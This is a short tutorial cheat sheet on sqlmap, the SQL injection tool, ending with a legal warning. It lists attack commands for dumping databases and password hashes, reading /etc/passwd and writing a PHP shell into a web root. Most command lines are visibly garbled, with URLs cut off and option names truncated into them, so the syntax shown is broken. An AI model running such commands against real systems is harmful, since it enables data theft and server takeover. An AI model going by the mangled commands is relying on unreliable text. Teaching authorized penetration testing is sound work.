Sqlmap

3 min read425 words

SQLmap

SQLmap – Automated SQL Injection Tool

SQLmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It supports multiple injection techniques and can enumerate databases, extract data, and interact with the database system.

Link -> https://github.com/sqlmapproject/sqlmap

Installation / Check

Check if SQLmap is installed:

which sqlmap

Install SQLmap:

sudo apt install sqlmap

Basic Syntax

sqlmap -u "<URL with parameter>" [options]

Common Commands

Basic injection test:

sqlmap -u "http://target.com

List databases:

sqlmap -u "http://target.com/page?

List tables in a database:

sqlmap -u "http://target.com/page?name --tables

List columns of a table:

sqlmap -u "http://target.com/page? -T users --columns

Dump table data:

sqlmap -u "http://target.com/page? -T users --dump

Batch mode (no prompts):

sqlmap -u "http://target.com/page?ch

Test forms automatically:

sqlmap -u "http://target.com/page?ms

Maximum testing level:

sqlmap -u "http://target.com/page?el=5 --risk=3

Try all injection techniques:

sqlmap -u "http://target.com/page?hnique=BEUSTQ

Show current database user:

sqlmap -u "http://target.com/page?rent-user

Show current database:

sqlmap -u "http://target.com/page?rent-db

Check if user is DBA:

sqlmap -u "http://target.com/page?dba

SQL interactive shell:

sqlmap -u "http://target.com/page?-shell

Read file from server:

sqlmap -u "http://target.com/page?e-read="/etc/passwd"

Write file to server:

sqlmap -u "http://target.com/page?e-write="shell.php" --file-dest="/var/www/shell.php"

Dump database passwords:

sqlmap -u "http://target.com/page?swords

Dump entire database:

sqlmap -u "http://target.com/page?p-all

Use request file (e.g., from proxy):

sqlmap -r request.txt

Use cookies (authenticated testing):

sqlmap -u "http://target.com/page?kie="PHPSES

Route through proxy:

sqlmap -u "http://target.com/page?xy="http://127.0.0.1:8080"

Use tamper script:

sqlmap -u "http://target.com/page?per=space2comment

Random user-agent:

sqlmap -u "http://target.com/page?dom-agent

Increase threads:

sqlmap -u "http://target.com/page?eads=10

Specify DBMS:

sqlmap -u "http://target.com/page?s=mysql

Time-based delay:

sqlmap -u "http://target.com/page?e-sec=10

Step-by-Step Guide

  1. Identify a URL with parameters (e.g
  2. Run a basic test:
sqlmap -u "URL"
  1. Check if the parameter is vulnerable
  2. Enumerate databases:
--dbs
  1. Enumerate tables:
-D dbname --tables
  1. Extract data (authorized targets only):
--dump
  1. Review results in terminal or saved output

Understanding the Output

  • Shows type of SQL injection (e.g., Boolean-based, Time-based, UNION)

  • Identifies database type (MySQL, PostgreSQL, etc.)

  • Displays extracted data and structure

  • Uses:

    • [INFO] for progress updates
    • [WARNING] for issues
    • [CRITICAL] for errors

⚠️ Legal Warning

Use SQL injection tools only on applications you own or have explicit permission to test. Unauthorized use is illegal.

Keep learning. Keep building. Keep growing.

© 2026 Ugenz Academy